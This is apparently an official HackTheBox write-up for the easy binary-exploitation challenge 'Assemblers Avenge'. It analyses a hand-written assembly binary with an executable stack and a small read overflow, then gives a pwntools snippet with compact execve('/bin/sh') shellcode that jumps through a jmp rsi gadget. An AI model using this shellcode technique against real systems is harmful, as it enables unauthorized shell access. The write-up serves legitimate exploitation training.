



HACKTHEBOX



Assemblers Avenge

15th March 2024 / Document No.
DYY.102.XX

Prepared By: w3th4nds

Challenge Author(s): w3th4nds

Difficulty: **Easy**

Classification: Official

Synopsis

Assemblers Avenge is an easy difficulty challenge that features executing `sys_execve` with custom assembly instructions due to limited payload.

Description

Amidst the harrowing conflict, our city bore the brunt of relentless onslaughts, witnessing widespread devastation that spared little, ravaging both infrastructure and spirit alike. Now, as the dust settles and the echoes of chaos fade, a clarion call emerges: assemble a force to restore justice and herald a new era of tranquility. With the remnants of our past preserved within this binary, embark on your mission to reclaim our future.

Skills Required

- Basic `assembly` and `buffer overflows`.

Skills Learned

- Writing `assembly` to make `syscalls`.

Enumeration

First of all, we start with a `checksec` :

```
pwndbg> checksec
Arch:      amd64-64-little
RELRO:     No RELRO
Stack:     No canary found
NX:        NX unknown - GNU_STACK missing
PIE:       No PIE (0x400000)
Stack:     Executable
RWX:       Has RWX segments
```

Protections

As we can see:

Protection	Enabled	Usage
Canary	✗	Prevents Buffer Overflows
NX	✗	Disables code execution on stack
PIE	✗	Randomizes the base address of the binary
RelRO	NO	Makes some binary sections read-only

Also the program has `Stack Executable`. That means, we can execute code that is on the stack, if we know its location.

The program's interface:

```
~~ When you stare into the abyss, the abyss stares back at you! ~~
Your only savior is: /bin/sh
```

Disassembly

If we take a look at the challenge:

```
pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000  _start
0x0000000000401017  _write
0x0000000000401040  _exit
0x000000000040106d  _read
```

It only contains some custom functions. I made this challenge solely in assembly so that the user won't rely on `read / write` functions or any `libc`. The binary is also statically linked. Taking a look at the `_start`

```

pwndbg> disass _start
Dump of assembler code for function _start:
   0x0000000000401000 <+0>:    push    rbp
   0x0000000000401001 <+1>:    mov     rbp, rsp
   0x0000000000401004 <+4>:    sub     rsp, 0x20
   0x0000000000401008 <+8>:    call    0x401017 <_write>
   0x000000000040100d <+13>:   call    0x40106d <_read>
   0x0000000000401012 <+18>:   call    0x401040 <_exit>
End of assembler dump.

```

There are 3 function calls. Continue with `_write`:

```

pwndbg> disass _write
Dump of assembler code for function _write:
   0x0000000000401017 <+0>:    push    rbp
   0x0000000000401018 <+1>:    mov     rbp, rsp
   0x000000000040101b <+4>:    sub     rsp, 0x20
   0x000000000040101f <+8>:    mov     rax, 0x1
   0x0000000000401026 <+15>:   mov     rdi, 0x1
   0x000000000040102d <+22>:   lea     rsi, ds:0x40200c
   0x0000000000401035 <+30>:   mov     rdx, 0x62
   0x000000000040103c <+37>:   syscall
   0x000000000040103e <+39>:   leave
   0x000000000040103f <+40>:   ret
End of assembler dump.

```

This function actually calls `write(1, [0x40200c, 0x62])`. What lies in this address is just a message, nothing of interest. After that, we can disassemble, `_read`.

```

pwndbg> disass _read
Dump of assembler code for function _read:
   0x000000000040106d <+0>:    push    rbp
   0x000000000040106e <+1>:    mov     rbp, rsp
   0x0000000000401071 <+4>:    sub     rsp, 0x10
   0x0000000000401075 <+8>:    mov     rdi, 0x0
   0x000000000040107c <+15>:   lea     rsi, [rbp-0x8]
   0x0000000000401080 <+19>:   mov     rdx, 0x18
   0x0000000000401087 <+26>:   mov     rax, 0x0
   0x000000000040108e <+33>:   syscall
   0x0000000000401090 <+35>:   leave
   0x0000000000401091 <+36>:   ret
End of assembler dump.

```

This actually calls `read(0, [rbp-0x8], 0x18)`. So, we can read up to `0x18` bytes, while the "buffer" (`rbp`) can hold up to `0x8` bytes, meaning we have `0x10` bytes overflow. Now that we know our bug, we need to exploit it. Taking a look at the last function:

```

pwndbg> disass _exit
Dump of assembler code for function _exit:
    0x0000000000401040 <+0>:      mov     rax,0x1
    0x0000000000401047 <+7>:      mov     rdi,0x1
    0x000000000040104e <+14>:     lea     rsi,ds:0x40206d
    0x0000000000401056 <+22>:     mov     rdx,0x11
    0x000000000040105d <+29>:     syscall
    0x000000000040105f <+31>:     mov     rax,0x3c
    0x0000000000401066 <+38>:     xor     rdi,rdi
    0x0000000000401069 <+41>:     syscall
    0x000000000040106b <+43>:     jmp     rsi
End of assembler dump.

```

This is just a simple `write / exit` function with a twist. We see a random `jmp rsi` gadget at the end, which is just a generous gift for later, thus it has no use there.

Debugging

Inspecting the registers while we give input to our program:

```

*RAX  0x5
RBX   0x0
*RCX  0x401090 (_read+35) ← leave
RDX   0x18
RDI   0x0
RSI   0x7fffffffdded0 ← 0xa41414141 /* 'AAAA\n' */
R8     0x0
R9     0x0
R10    0x0
*R11   0x302
R12    0x0
R13    0x0
R14    0x0
R15    0x0
RBP    0x7fffffffdded8 → 0x7fffffffdf08 ← 0x0
RSP    0x7fffffffdec8 ← 0x0
*RIP   0x401090 (_read+35) ← leave
-----[ DISASM / x86-64 / set emulate on ]-----
    0x401075 <_read+8>      mov     rdi, 0
    0x40107c <_read+15>     lea     rsi, [rbp - 8]
    0x401080 <_read+19>     mov     rdx, 0x18
    0x401087 <_read+26>     mov     rax, 0
    0x40108e <_read+33>     syscall
▶ 0x401090 <_read+35>      leave
    0x401091 <_read+36>     ret
    ↓
    0x401012 <_start+18>    call    _exit                                <_exit>

    0x401017 <_write>       push    rbp
    0x401018 <_write+1>     mov     rbp, rsp
    0x40101b <_write+4>     sub     rsp, 0x20
-----[ STACK ]-----
00:0000| rsp 0x7fffffffdec8 ← 0x0
01:0008| rsi 0x7fffffffdded0 ← 0xa41414141 /* 'AAAA\n' */

```

```

02:0010| rbp 0x7fffffffdded8 → 0x7fffffffdf08 ← 0x0
03:0018|+008 0x7fffffffdee0 → 0x401012 (_start+18) ← call 0x401040
04:0020|+010 0x7fffffffdee8 ← 0x0
... ↓          3 skipped
-----[ BACKTRACE ]-----
▶ 0          0x401090 _read+35
  1          0x401012 _start+18
-----

pwndbg>

```

We see that our `AAAA` is stored at `$rsi`. That was the meaning of the gadget we found earlier. We also know that we have `0x8` bytes overflow. Another twist here is that the payload starts at `rbp - 0x8`, meaning the first 8 bytes of our payload are going to waste, cause it starts at "buffer+8" (`rbp - 0x8`), thus limiting the size of the payload. So, we have `0x18 - 0x8 = 0x10` bytes to abuse. The smallest payload on-line for classic `sys_execve` is `0x17` bytes. If we remember from the program's interface, there is the `/bin/sh` string at the end of the message. Finding this address instead of crafting it from scratch, will reduce the size of the payload by 4 bytes. After that, we simply need to craft and call `sys_execve("/bin/sh", 0, 0)` to spawn shell. `$rax` has to be `0x3b` for this `syscall`. The payload below constructs a payload of `0x0f` bytes which is 1 byte smaller than `0x10` we are able to write.

Solution

```

jmp_rsi = 0x40106b

binsh = next(e.search(b'/bin/sh\x00'))

sc = asm(f'''
    xor rsi, rsi
    xor rdx, rdx
    mov al, 0x3b
    mov edi, {binsh}
    syscall
''')

```